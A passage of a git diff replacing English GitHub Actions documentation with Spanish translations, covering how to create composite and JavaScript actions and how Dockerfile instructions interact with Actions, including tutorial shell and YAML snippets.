+* Brindan automatización que puede realizar una integración continua y una implementación continua.
+* Pueden ejecutarse directamente en máquinas de ejecutor o en contenedores Docker.
+* Pueden incluir acceso a un clon de tu repositorio, lo que permite que las herramientas de implementación y publicación, los formateadores de código y las herramientas de la línea de comando accedan a tu código.
+* No necesitan que implementas un código o que sirvas una aplicación.
+* Tienen una interfaz simple para crear y usar secretos, que permite que las acciones interactúen con servicios de terceros sin la necesidad de almacenar las credenciales de la persona que utiliza la acción.
 
-## Further reading
+## Leer más
 
-- "[Development tools for {% data variables.product.prodname_actions %}](/articles/development-tools-for-github-actions)"
+- "[Herramientas de desarrollo para {% data variables.product.prodname_actions %}](/articles/development-tools-for-github-actions)"
diff --git a/translations/es-ES/content/actions/creating-actions/creating-a-composite-action.md b/translations/es-ES/content/actions/creating-actions/creating-a-composite-action.md
index 393112d951..95c5438335 100644
--- a/translations/es-ES/content/actions/creating-actions/creating-a-composite-action.md
+++ b/translations/es-ES/content/actions/creating-actions/creating-a-composite-action.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a composite action
-intro: 'In this guide, you''ll learn how to build a composite action.'
+title: Crear una acción compuesta
+intro: 'En esta guía, aprenderás cómo crear una acción compuesta.'
 redirect_from:
   - /actions/creating-actions/creating-a-composite-run-steps-action
 versions:
@@ -11,56 +11,56 @@ versions:
 type: tutorial
 topics:
   - Action development
-shortTitle: Composite action
+shortTitle: Acción copuesta
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introducción
 
-In this guide, you'll learn about the basic components needed to create and use a packaged composite action. To focus this guide on the components needed to package the action, the functionality of the action's code is minimal. The action prints "Hello World" and then "Goodbye",  or if you provide a custom name, it prints "Hello [who-to-greet]" and then "Goodbye". The action also maps a random number to the `random-number` output variable, and runs a script named `goodbye.sh`.
+En esta guía, aprenderás acerca de los componentes básicos necesarios para crear y usar una acción compuesta empaquetada. Para centrar esta guía en los componentes necesarios para empaquetar la acción, la funcionalidad del código de la acción es mínima. La acción imprime "Hello World" y después "Goodbye", o si proporcionas un nombre personalizado, imprime "Hello [who-to-greet]" y luego "Goodbye". La acción también mapea un número aleatorio hacia la variable de salida `random-number`, y ejecuta un script denominado `goodbye.sh`.
 
-Once you complete this project, you should understand how to build your own composite action and test it in a workflow.
+Una vez que completes este proyecto, deberías comprender cómo crear tu propia acción compuesta y probarla en un flujo de trabajo.
 
 {% data reusables.github-actions.context-injection-warning %}
 
-## Prerequisites
+## Prerrequisitos
 
-Before you begin, you'll create a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.
+Antes de comenzar, deberás crear un repositorio en {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.
 
-1. Create a new public repository on {% data variables.product.product_location %}. You can choose any repository name, or use the following `hello-world-composite-action` example. You can add these files after your project has been pushed to {% data variables.product.product_name %}. For more information, see "[Create a new repository](/articles/creating-a-new-repository)."
+1. Crea un repositorio público nuevo en {% data variables.product.product_location %}. Puedes elegir cualquier nombre de repositorio o utilizar el siguiente ejemplo de `hello-world-composite-action`. Puedes agregar estos archivos después de que tu proyecto se haya subido a {% data variables.product.product_name %}. Para obtener más información, consulta "[Crear un repositorio nuevo](/articles/creating-a-new-repository)".
 
-1. Clone your repository to your computer. For more information, see "[Cloning a repository](/articles/cloning-a-repository)."
+1. Clona el repositorio en tu computadora. Para obtener más información, consulta "[Clonar un repositorio](/articles/cloning-a-repository)".
 
-1. From your terminal, change directories into your new repository.
+1. Desde tu terminal, cambia los directorios en el repositorio nuevo.
 
   ```shell
   cd hello-world-composite-action
   ```
 
-2. In the `hello-world-composite-action` repository, create a new file called `goodbye.sh`, and add the following example code:
+2. En el repositorio `hello-world-composite-action`, crea un archivo nuevo que se llame `goodbye.sh` y agrega el siguiente código de ejemplo:
 
   ```bash
   echo "Goodbye"
   ```
 
-3. From your terminal, make `goodbye.sh` executable.
+3. Desde tu terminal, haz ejecutable a `goodbye.sh`.
 
   ```shell
   chmod +x goodbye.sh
   ```
 
-1. From your terminal, check in your `goodbye.sh` file.
+1. Desde tu terminal, ingresa tu archivo `goodbye.sh`.
   ```shell
   git add goodbye.sh
   git commit -m "Add goodbye script"
   git push
   ```
 
-## Creating an action metadata file
+## Crear un archivo de metadatos de una acción
 
-1. In the `hello-world-composite-action` repository, create a new file called `action.yml` and add the following example code. For more information about this syntax, see "[`runs` for a composite actions](/actions/creating-actions/metadata-syntax-for-github-actions#runs-for-composite-actions)".
+1. En el repositorio `hello-world-composite-action`, crea un archivo nuevo que se llame `action.yml` y agrega el siguiente código de ejemplo. Para obtener más información acerca de esta sintaxis, consulta la sección de "[`runs` para una acción compuesta](/actions/creating-actions/metadata-syntax-for-github-actions#runs-for-composite-actions)".
 
     {% raw %}
     **action.yml**
@@ -88,13 +88,13 @@ Before you begin, you'll create a repository on {% ifversion ghae %}{% data vari
           shell: bash
     ```
     {% endraw %}
-  This file defines the `who-to-greet` input, maps the random generated number to the `random-number` output variable, and runs the `goodbye.sh` script. It also tells the runner how to execute the composite action.
+  Este archivo define la entrada `who-to-greet`, mapea el número generado aleatoriamente en la variable de salida `random-number` y ejecuta el script de `goodbye.sh`. También le dice al ejecutor cómo ejecutar la acción compuesta.
 
-  For more information about managing outputs, see "[`outputs` for a composite action](/actions/creating-actions/metadata-syntax-for-github-actions#outputs-for-composite-actions)".
+  Para obtener más información acerca de cómo administrar las salidas, consulta la sección "[`outputs` para las acciones compuestas](/actions/creating-actions/metadata-syntax-for-github-actions#outputs-for-composite-actions)".
 
-  For more information about how to use `github.action_path`, see "[`github context`](/actions/reference/context-and-expression-syntax-for-github-actions#github-context)".
+  Para obtener más información acerca de cómo utilizar `github.action_path`, consulta la sección "[`github context`](/actions/reference/context-and-expression-syntax-for-github-actions#github-context)".
 
-1. From your terminal, check in your `action.yml` file.
+1. Desde tu terminal, ingresa tu archivo `action.yml`.
 
   ```shell
   git add action.yml
@@ -102,18 +102,18 @@ Before you begin, you'll create a repository on {% ifversion ghae %}{% data vari
   git push
   ```
 
-1. From your terminal, add a tag. This example uses a tag called `v1`. For more information, see "[About actions](/actions/creating-actions/about-actions#using-release-management-for-actions)."
+1. Desde tu terminal, agrega una etiqueta. Este ejemplo utiliza una etiqueta que se llama `v1`. Para obtener más información, consulta la sección "[Acerca de las acciones](/actions/creating-actions/about-actions#using-release-management-for-actions)".
 
   ```shell
   git tag -a -m "Description of this release" v1
   git push --follow-tags
   ```
 
-## Testing out your action in a workflow
+## Probar tu acción en un flujo de trabajo
 
-The following workflow code uses the completed hello world action that you made in "[Creating an action metadata file](/actions/creating-actions/creating-a-composite-action#creating-an-action-metadata-file)".
+El siguiente código de flujo de trabajo utiliza la acción completada de "hello world" que hiciste previamente en "[Crear un archivo de metadatos para la acción](/actions/creating-actions/creating-a-composite-action#creating-an-action-metadata-file)".
 
-Copy the workflow code into a `.github/workflows/main.yml` file in another repository, but replace `actions/hello-world-composite-action@v1` with the repository and tag you created. You can also replace the `who-to-greet` input with your name.
+Copia el código del flujo de trabajo en un archivo de `.github/workflows/main.yml` en otro repositorio, pero reemplaza `actions/hello-world-composite-action@v1` con el repositorio y etiqueta que creaste. También puedes reemplazar la entrada `who-to-greet` con tu nombre.
 
 {% raw %}
 **.github/workflows/main.yml**
@@ -135,4 +135,4 @@ jobs:
 ```
 {% endraw %}
 
-From your repository, click the **Actions** tab, and select the latest workflow run. The output should include: "Hello Mona the Octocat", the result of the "Goodbye" script, and a random number.
+Desde tu repositorio, da clic en la pestaña de **Acciones** y selecciona la última ejecución de flujo de trabajo. La salida deberá incluir "Hello Mona the Octocat", el resultado del script de "Goodbye" y un número aleatorio.
diff --git a/translations/es-ES/content/actions/creating-actions/creating-a-javascript-action.md b/translations/es-ES/content/actions/creating-actions/creating-a-javascript-action.md
index 72621a7252..a0f17e8c45 100644
--- a/translations/es-ES/content/actions/creating-actions/creating-a-javascript-action.md
+++ b/translations/es-ES/content/actions/creating-actions/creating-a-javascript-action.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a JavaScript action
-intro: 'In this guide, you''ll learn how to build a JavaScript action using the actions toolkit.'
+title: Crear una acción de JavaScript
+intro: 'En esta guía, aprenderás como desarrollar una acción de JavaScript usando el kit de herramientas de acciones.'
 redirect_from:
   - /articles/creating-a-javascript-action
   - /github/automating-your-workflow-with-github-actions/creating-a-javascript-action
@@ -15,51 +15,51 @@ type: tutorial
 topics:
   - Action development
   - JavaScript
-shortTitle: JavaScript action
+shortTitle: Acción de JavaScript
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introducción
 
-In this guide, you'll learn about the basic components needed to create and use a packaged JavaScript action. To focus this guide on the components needed to package the action, the functionality of the action's code is minimal. The action prints "Hello World" in the logs or "Hello [who-to-greet]" if you provide a custom name.
+En esta guía, aprenderás acerca de los componentes básicos necesarios para crear y usar una acción de JavaScript empaquetada. Para centrar esta guía en los componentes necesarios para empaquetar la acción, la funcionalidad del código de la acción es mínima. La acción imprime "Hello World" en los registros o "Hello [who-to-greet]"si proporcionas un nombre personalizado.
 
-This guide uses the {% data variables.product.prodname_actions %} Toolkit Node.js module to speed up development. For more information, see the [actions/toolkit](https://github.com/actions/toolkit) repository.
+Esta guía usa el módulo Node.js del kit de herramientas {% data variables.product.prodname_actions %} para acelerar el desarrollo. Para obtener más información, consulta el repositorio [actions/toolkit](https://github.com/actions/toolkit).
 
-Once you complete this project, you should understand how to build your own JavaScript action and test it in a workflow.
+Una vez que completes este proyecto, deberías comprender cómo crear tu propia acción de JavaScript y probarla en un flujo de trabajo.
 
 {% data reusables.github-actions.pure-javascript %}
 
 {% data reusables.github-actions.context-injection-warning %}
 
-## Prerequisites
+## Prerrequisitos
 
-Before you begin, you'll need to download Node.js and create a public {% data variables.product.prodname_dotcom %} repository.
+Antes de que comiences, necesitarás descargar Node.js y crear un repositorio público de {% data variables.product.prodname_dotcom %}.
 
-1. Download and install Node.js 12.x, which includes npm.
+1. Descarga e instala Node.js {% ifversion fpt or ghes > 3.3 or ghae-issue-5504 or ghec %}16.x{% else %}12.x{% endif %}, el cual incluye a npm.
 
-  https://nodejs.org/en/download/current/
+  {% ifversion fpt or ghes > 3.3 or ghae-issue-5504 or ghec %}https://nodejs.org/en/download/{% else %}https://nodejs.org/en/download/releases/{% endif %}
 
-1. Create a new public repository on {% data variables.product.product_location %} and call it "hello-world-javascript-action". For more information, see "[Create a new repository](/articles/creating-a-new-repository)."
+1. Crea un repositorio público nuevo en {% data variables.product.product_location %} y llámalo "hello-world-javascript-action". Para obtener más información, consulta "[Crear un repositorio nuevo](/articles/creating-a-new-repository)".
 
-1. Clone your repository to your computer. For more information, see "[Cloning a repository](/articles/cloning-a-repository)."
+1. Clona el repositorio en tu computadora. Para obtener más información, consulta "[Clonar un repositorio](/articles/cloning-a-repository)".
 
-1. From your terminal, change directories into your new repository.
+1. Desde tu terminal, cambia los directorios en el repositorio nuevo.
 
   ```shell{:copy}
   cd hello-world-javascript-action
   ```
 
-1. From your terminal, initialize the directory with npm to generate a `package.json` file.
+1. Desde tu terminal, inicializa el directorio con npm para generar un archivo `package.json`.
 
   ```shell{:copy}
   npm init -y
   ```
 
-## Creating an action metadata file
+## Crear un archivo de metadatos de una acción
 
-Create a new file named `action.yml` in the `hello-world-javascript-action` directory with the following example code. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions)."
+Crea un archivo nuevo que se llame `action.yml` en el directorio `hello-world-javascript-action` con el siguiente código de ejemplo. Para obtener más información, consulta la sección "[Sintaxis de metadatos para {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions)".
 
 ```yaml{:copy}
 name: 'Hello World'
@@ -73,38 +73,38 @@ outputs:
   time: # id of output
     description: 'The time we greeted you'
 runs:
-  using: 'node12'
+  using: {% ifversion fpt or ghes > 3.3 or ghae-issue-5504 or ghec %}'node16'{% else %}'node12'{% endif %}
   main: 'index.js'
 ```
 
-This file defines the `who-to-greet` input and `time` output. It also tells the action runner how to start running this JavaScript action.
+Este archivo define la entrada `who-to-greet` y la salida `time`. También informa al ejecutador de la acción cómo empezar a ejecutar esta acción de JavaScript.
 
-## Adding actions toolkit packages
+## Agregar paquetes de kit de herramientas de las acciones
 
-The actions toolkit is a collection of Node.js packages that allow you to quickly build JavaScript actions with more consistency.
+El kit de herramientas de acciones es una recopilación de los paquetes Node.js que te permiten desarrollar rápidamente acciones de JavaScript con más consistencia.
 
-The toolkit [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) package provides an interface to the workflow commands, input and output variables, exit statuses, and debug messages.
+El paquete del kit de herramientas [`@actions/Core`](https://github.com/actions/toolkit/tree/main/packages/core) proporciona una interfaz a los comandos del flujo de trabajo, a las variables de entrada y de salida, a los estados de salida y a los mensajes de depuración.
 
-The toolkit also offers a [`@actions/github`](https://github.com/actions/toolkit/tree/main/packages/github) package that returns an authenticated Octokit REST client and access to GitHub Actions contexts.
+El kit de herramientas también ofrece un paquete [`@actions/github`](https://github.com/actions/toolkit/tree/main/packages/github) que devuelve un cliente Octokit REST autenticado así como el acceso a los contextos de las GitHub Actions.
 
-The toolkit offers more than the `core` and `github` packages. For more information, see the [actions/toolkit](https://github.com/actions/toolkit) repository.
+El kit de herramientas ofrece más de un paquete `core` y `github`. Para obtener más información, consulta el repositorio [actions/toolkit](https://github.com/actions/toolkit).
 
-At your terminal, install the actions toolkit `core` and `github` packages.
+En tu terminal, instala los paquetes `core` y `github` del kit de herramientas de acciones.
 
 ```shell{:copy}
 npm install @actions/core
 npm install @actions/github
 ```
 
-Now you should see a `node_modules` directory with the modules you just installed and a `package-lock.json` file with the installed module dependencies and the versions of each installed module.
+Ahora deberías ver un directorio `node_modules` con los módulos que acabas de instalar y un archivo `package-lock.json` con las dependencias del módulo instalado y las versiones de cada módulo instalado.
 
-## Writing the action code
+## Escribir el código de la acción
 
-This action uses the toolkit to get the `who-to-greet` input variable required in the action's metadata file and prints "Hello [who-to-greet]" in a debug message in the log. Next, the script gets the current time and sets it as an output variable that actions running later in a job can use.
+Esta acción usa el kit de herramientas para obtener la variable de entrada `who-to-greet` requerida en el archivo de metadatos de la acción e imprime "Hello [who-to-greet]" en un mensaje de depuración del registro. A continuación, el script obtiene la hora actual y la establece como una variable de salida que pueden usar las acciones que se ejecutan posteriormente en unt rabajo.
 
-GitHub Actions provide context information about the webhook event, Git refs, workflow, action, and the person who triggered the workflow. To access the context information, you can use the `github` package. The action you'll write will print the webhook event payload to the log.
+Las Acciones de GitHub proporcionan información de contexto sobre el evento de webhooks, las referencias de Git, el flujo de trabajo, la acción y la persona que activó el flujo de trabajo. Para acceder a la información de contexto, puedes usar el paquete `github`. La acción que escribirás imprimirá el evento de webhook que carga el registro.
 
-Add a new file called `index.js`, with the following code.
+Agrega un archivo nuevo denominado `index.js`, con el siguiente código.
 
 {% raw %}
 ```javascript{:copy}
@@ -126,25 +126,25 @@ try {
 ```
 {% endraw %}
 
-If an error is thrown in the above `index.js` example, `core.setFailed(error.message);` uses the actions toolkit [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) package to log a message and set a failing exit code. For more information, see "[Setting exit codes for actions](/actions/creating-actions/setting-exit-codes-for-actions)."
+Si en el ejemplo anterior de `index.js` ocurre un error, entonces `core.setFailed(error.message);` utilizará el paquete [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) del kit de herramientas de las acciones para registrar un mensaje y configurar un código de salida defectuoso. Para obtener más información, consulta la sección "[Configurar los códigos de salida para las acciones](/actions/creating-actions/setting-exit-codes-for-actions)".
 
-## Creating a README
+## Crear un README
 
-To let people know how to use your action, you can create a README file. A README is most helpful when you plan to share your action publicly, but is also a great way to remind you or your team how to use the action.
+Puedes crear un archivo README para que las personas sepan cómo usar tu acción. Un archivo README resulta más útil cuando planificas el intercambio de tu acción públicamente, pero también es una buena manera de recordarle a tu equipo cómo usar la acción.
 
-In your `hello-world-javascript-action` directory, create a `README.md` file that specifies the following information:
+En tu directorio `hello-world-javascript-action`, crea un archivo `README.md` que especifique la siguiente información:
 
-- A detailed description of what the action does.
-- Required input and output arguments.
-- Optional input and output arguments.
-- Secrets the action uses.
-- Environment variables the action uses.
-- An example of how to use your action in a workflow.
+- Una descripción detallada de lo que hace la acción.
+- Argumentos necesarios de entrada y salida.
+- Argumentos opcionales de entrada y salida.
+- Secretos que utiliza la acción.
+- Variables de entorno que utiliza la acción.
+- Un ejemplo de cómo usar tu acción en un flujo de trabajo.
 
 ```markdown
-# Hello world javascript action
+# Hello world docker action
 
-This action prints "Hello World" or "Hello" + the name of a person to greet to the log.
+Esta acción imprime "Hello World" o "Hello" + el nombre de una persona a quien saludar en el registro.
 
 ## Inputs
 
@@ -165,13 +165,13 @@ with:
   who-to-greet: 'Mona the Octocat'
 ```
 
-## Commit, tag, and push your action to GitHub
+## Confirma, etiqueta y sube tu acción a GitHub
 
-{% data variables.product.product_name %} downloads each action run in a workflow during runtime and executes it as a complete package of code before you can use workflow commands like `run` to interact with the runner machine. This means you must include any package dependencies required to run the JavaScript code. You'll need to check in the toolkit `core` and `github` packages to your action's repository.
+{% data variables.product.product_name %} descarga cada acción ejecutada en un flujo de trabajo durante el tiempo de ejecución y la ejecuta como un paquete completo de código antes de que puedas usar comandos de flujo de trabajo como `run` para interactuar con la máquina del ejecutor. Eso significa que debes incluir cualquier dependencia del paquete requerida para ejecutar el código de JavaScript. Necesitarás verificar los paquetes `core` y `github` del kit de herramientas para el repositorio de tu acción.
 
-From your terminal, commit your `action.yml`, `index.js`, `node_modules`, `package.json`, `package-lock.json`, and `README.md` files. If you added a `.gitignore` file that lists `node_modules`, you'll need to remove that line to commit the `node_modules` directory.
+Desde tu terminal, confirma tus archivos `action.yml`, `index.js`, `node_modules`, `package.json`, `package-lock.json` y `README.md`. Si agregaste un archivo `.gitignore` que enumera `node_modules`, deberás eliminar esa línea para confirmar el directorio `node_modules`.
 
-It's best practice to also add a version tag for releases of your action. For more information on versioning your action, see "[About actions](/actions/automating-your-workflow-with-github-actions/about-actions#using-release-management-for-actions)."
+También se recomienda agregarles una etiqueta de versión a los lanzamientos de tu acción. Para obtener más información sobre el control de versiones de tu acción, consulta la sección "[Acerca de las acciones](/actions/automating-your-workflow-with-github-actions/about-actions#using-release-management-for-actions)".
 
 ```shell{:copy}
 git add action.yml index.js node_modules/* package.json package-lock.json README.md
@@ -180,24 +180,19 @@ git tag -a -m "My first action release" v1.1
 git push --follow-tags
 ```
 
-Checking in your `node_modules` directory can cause problems. As an alternative, you can use a tool called [`@vercel/ncc`](https://github.com/vercel/ncc) to compile your code and modules into one file used for distribution.
+Ingresar tu directorio de `node_modules` puede causar problemas. Como alternativa, puedes utilizar una herramienta que se llama [`@vercel/ncc`](https://github.com/vercel/ncc) para compilar tu código y módulos en un archivo que se utilice para distribución.
 
-1. Install `vercel/ncc` by running this command in your terminal.
-  `npm i -g @vercel/ncc`
+1. Instala `vercel/ncc` ejecutando este comando en tu terminal. `npm i -g @vercel/ncc`
 
-1. Compile your `index.js` file.
-  `ncc build index.js --license licenses.txt`
+1. Compila tu archivo `index.js`. `ncc build index.js --license licenses.txt`
 
-  You'll see a new `dist/index.js` file with your code and the compiled modules.
-  You will also see an accompanying `dist/licenses.txt` file containing all the licenses of the `node_modules` you are using.
+  Verás un nuevo archivo `dist/index.js` con tu código y los módulos compilados. También verás un archivo asociado de `dist/licenses.txt` que contiene todas las licencias de los `node_modules` que estás utilizando.
 
-1. Change the `main` keyword in your `action.yml` file to use the new `dist/index.js` file.
- `main: 'dist/index.js'`
+1. Cambia la palabra clave `main` en tu archivo `action.yml` para usar el nuevo archivo `dist/index.js`. `main: 'dist/index.js'`
 
-1. If you already checked in your `node_modules` directory, remove it.
-  `rm -rf node_modules/*`
+1. Si ya has comprobado tu directorio `node_modules`, eliminínalo. `rm -rf node_modules/*`
 
-1. From your terminal, commit the updates to your `action.yml`, `dist/index.js`, and `node_modules` files.
+1. Desde tu terminal, confirma las actualizaciones para tu `action.yml`, `dist/index.js` y `node_modules`.
 ```shell
 git add action.yml dist/index.js node_modules/*
 git commit -m "Use vercel/ncc"
@@ -205,17 +200,17 @@ git tag -a -m "My first action release" v1.1
 git push --follow-tags
 ```
 
-## Testing out your action in a workflow
+## Probar tu acción en un flujo de trabajo
 
-Now you're ready to test your action out in a workflow. When an action is in a private repository, the action can only be used in workflows in the same repository. Public actions can be used by workflows in any repository.
+Ahora estás listo para probar tu acción en un flujo de trabajo. Cuando una acción esté en un repositorio privado, la acción solo puede usarse en flujos de trabajo en el mismo repositorio. Las acciones públicas pueden ser usadas por flujos de trabajo en cualquier repositorio.
 
 {% data reusables.actions.enterprise-marketplace-actions %}
 
-### Example using a public action
+### Ejemplo usando una acción pública
 
-This example demonstrates how your new public action can be run from within an external repository.
+Este ejemplo demuestra cómo se puede ejecutar tu acción nueva y pública desde dentro de un repositorio externo.
 
-Copy the following YAML into a new file at `.github/workflows/main.yml`, and update the `uses: octocat/hello-world-javascript-action@v1.1` line with your username and the name of the public repository you created above. You can also replace the `who-to-greet` input with your name.
+Copia el siguiente YAML en un archivo nuevo en `.github/workflows/main.yml` y actualiza la línea `uses: octocat/hello-world-javascript-action@v1.1` con tu nombre de usuario y con el nombre del repositorio público que creaste anteriormente. También puedes reemplazar la entrada `who-to-greet` con tu nombre.
 
 {% raw %}
 ```yaml{:copy}
@@ -237,11 +232,11 @@ jobs:
 ```
 {% endraw %}
 
-When this workflow is triggered, the runner will download the `hello-world-javascript-action` action from your public repository and then execute it.
+Cuando se activa este flujo de trabajo, el ejecutor descargará la acción `hello-world-javascript-action` desde tu repositorio público y luego lo ejecutará.
 
-### Example using a private action
+### Ejemplo usando una acción privada
 
-Copy the workflow code into a `.github/workflows/main.yml` file in your action's repository. You can also replace the `who-to-greet` input with your name.
+Copia el siguiente ejemplo de código de flujo de trabajo en un archivo `.github/workflows/main.yml` en tu repositorio de acción. También puedes reemplazar la entrada `who-to-greet` con tu nombre.
 
 {% raw %}
 **.github/workflows/main.yml**
@@ -268,12 +263,12 @@ jobs:
 ```
 {% endraw %}
 
-From your repository, click the **Actions** tab, and select the latest workflow run. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log.
+Desde tu repositorio, da clic en la pestaña de **Acciones** y selecciona la última ejecución de flujo de trabajo. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}Debajo de **Jobs** o en la gráfica de visualización, da clic en **A job to say hello**. {% endif %}Debrás ver la frase "Hello Mona the Octocat" o el nombre que utilizaste para la entrada `who-to-greet` y la marca de tiempo impresa en la bitácora.
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-![A screenshot of using your action in a workflow](/assets/images/help/repository/javascript-action-workflow-run-updated-2.png)
+![Captura de pantalla del uso de tu acción en un flujo de trabajo](/assets/images/help/repository/javascript-action-workflow-run-updated-2.png)
 {% elsif ghes %}
-![A screenshot of using your action in a workflow](/assets/images/help/repository/javascript-action-workflow-run-updated.png)
+![Captura de pantalla del uso de tu acción en un flujo de trabajo](/assets/images/help/repository/javascript-action-workflow-run-updated.png)
 {% else %}
-![A screenshot of using your action in a workflow](/assets/images/help/repository/javascript-action-workflow-run.png)
+![Captura de pantalla del uso de tu acción en un flujo de trabajo](/assets/images/help/repository/javascript-action-workflow-run.png)
 {% endif %}
diff --git a/translations/es-ES/content/actions/creating-actions/dockerfile-support-for-github-actions.md b/translations/es-ES/content/actions/creating-actions/dockerfile-support-for-github-actions.md
index 58e2bf325b..dc6d6c1690 100644
--- a/translations/es-ES/content/actions/creating-actions/dockerfile-support-for-github-actions.md
+++ b/translations/es-ES/content/actions/creating-actions/dockerfile-support-for-github-actions.md
@@ -1,7 +1,7 @@
 ---
-title: Dockerfile support for GitHub Actions
-shortTitle: Dockerfile support
-intro: 'When creating a `Dockerfile` for a Docker container action, you should be aware of how some Docker instructions interact with GitHub Actions and an action''s metadata file.'
+title: Soporte de Dockerfile para GitHub Actions
+shortTitle: Soporte para Dockerfile
+intro: 'Cuando creas un "Dockerfile" para una acción de un contenedor de Docker, debes estar consciente de cómo interactúan algunas instrucciones de Docker con GitHub Actions y con el archivo de metadatos de la acción.'
 redirect_from:
   - /actions/building-actions/dockerfile-support-for-github-actions
 versions:
@@ -15,53 +15,53 @@ type: reference
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About Dockerfile instructions
+## Acerca de las instrucciones de Dockerfile
 
-A `Dockerfile` contains instructions and arguments that define the contents and startup behavior of a Docker container. For more information about the instructions Docker supports, see "[Dockerfile reference](https://docs.docker.com/engine/reference/builder/)" in the Docker documentation.
+Un `Dockerfile` contiene instrucciones y argumentos que definen el contenido y comportamiento inicial de un contenedor de Docker. Para obtener más información acerca de las instrucciones compatibles con Docker, consulta la sección "[Dockerfile reference](https://docs.docker.com/engine/reference/builder/)" en la documentación de Docker.
 
-## Dockerfile instructions and overrides
+## Instrucciones e invalidaciones de Dockerfile
 
-Some Docker instructions interact with GitHub Actions, and an action's metadata file can override some Docker instructions. Ensure that you are familiar with how your Dockerfile interacts with {% data variables.product.prodname_actions %} to prevent any unexpected behavior.
+Algunas instrucciones de Docker interactúan con GitHub Actions, y un archivo de metadatos de la acción puede invalidar algunas instrucciones de Docker. Asegúrate de que estás familiarizado con la manera en que tu Dockerfile interactúa con {% data variables.product.prodname_actions %} para prevenir cualquier comportamiento inesperado.
 
 ### USER
 
-Docker actions must be run by the default Docker user (root). Do not use the `USER` instruction in your `Dockerfile`, because you won't be able to access the `GITHUB_WORKSPACE`. For more information, see "[Using environment variables](/actions/configuring-and-managing-workflows/using-environment-variables)" and [USER reference](https://docs.docker.com/engine/reference/builder/#user) in the Docker documentation.
+Las acciones de Docker deben ejecutarse mediante el usuario predeterminado de Docker (root). No utilices la instrucción `USER` en tu `Dockerfile`, ya que no podrás acceder a `GITHUB_WORKSPACE`. Para obtener más información, consulta la sección "[Utilizar variables del ambiente](/actions/configuring-and-managing-workflows/using-environment-variables)" y [USER reference](https://docs.docker.com/engine/reference/builder/#user) en la documentación de Docker.
 
 ### FROM
 
-The first instruction in the `Dockerfile` must be `FROM`, which selects a Docker base image. For more information, see the [FROM reference](https://docs.docker.com/engine/reference/builder/#from) in the Docker documentation.
+La primera instrucción en el `Dockerfile` debe ser `FROM`, la cual selecciona una imagen base de Docker. Para obtener más información, consulta la sección "[FROM reference](https://docs.docker.com/engine/reference/builder/#from) en la documentación de Docker.
 
-These are some best practices when setting the `FROM` argument:
+Estas son algunas de las mejores prácticas para configurar el argumento `FROM`:
 
-- It's recommended to use official Docker images. For example, `python` or `ruby`.
-- Use a version tag if it exists, preferably with a major version. For example, use `node:10` instead of `node:latest`.
-- It's recommended to use Docker images based on the [Debian](https://www.debian.org/) operating system.
+- Se recomienda utilizar imágenes oficiales de Docker. Por ejemplo, `python` o `ruby`.
+- Utiliza una etiqueta de versión si es que existe, preferentemente con una versión mayor. Por ejemplo, utiliza `node:10` en vez de `node:latest`.
+- Se recomienda utilizar imágenes de Docker que se basen en el sistema operativo [Debian](https://www.debian.org/).
 
 ### WORKDIR
 
-{% data variables.product.product_name %} sets the working directory path in the `GITHUB_WORKSPACE` environment variable. It's recommended to not use the `WORKDIR` instruction in your `Dockerfile`. Before the action executes, {% data variables.product.product_name %} will mount the `GITHUB_WORKSPACE` directory on top of anything that was at that location in the Docker image and set `GITHUB_WORKSPACE` as the working directory. For more information, see "[Using environment variables](/actions/configuring-and-managing-workflows/using-environment-variables)" and the [WORKDIR reference](https://docs.docker.com/engine/reference/builder/#workdir) in the Docker documentation.
+{% data variables.product.product_name %} configura la ruta del directorio de trabajo en la variable de ambiente `GITHUB_WORKSPACE`. No se recomienda utilizar la instrucción `WORKDIR` en tu `Dockerfile`. Antes de que se ejecute la acción, {% data variables.product.product_name %} montará el directorio `GITHUB_WORKSPACE`sobre cualquiera que fuera la ubicación en la imagen de Docker y configurará a `GITHUB_WORKSPACE` como el directorio de trabajo. Para obtener más información, consulta la sección "[Utilizar variables de ambiente](/actions/configuring-and-managing-workflows/using-environment-variables)" y [WORKDIR reference](https://docs.docker.com/engine/reference/builder/#workdir) en la documentación de Docker.
 
 ### ENTRYPOINT
 
-If you define `entrypoint` in an action's metadata file, it will override the `ENTRYPOINT` defined in the `Dockerfile`. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions/#runsentrypoint)."
+Si defines el `entrypoint` en un archivo de metadatos de una acción, este invalidará el `ENTRYPOINT` definido en el `Dockerfile`. Para obtener más información, consulta la sección "[Sintaxis de metadatos para {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions/#runsentrypoint)".
 
-The Docker `ENTRYPOINT` instruction has a _shell_ form and _exec_ form. The Docker `ENTRYPOINT` documentation recommends using the _exec_ form of the `ENTRYPOINT` instruction. For more information about _exec_ and _shell_ form, see the [ENTRYPOINT reference](https://docs.docker.com/engine/reference/builder/#entrypoint) in the Docker documentation.
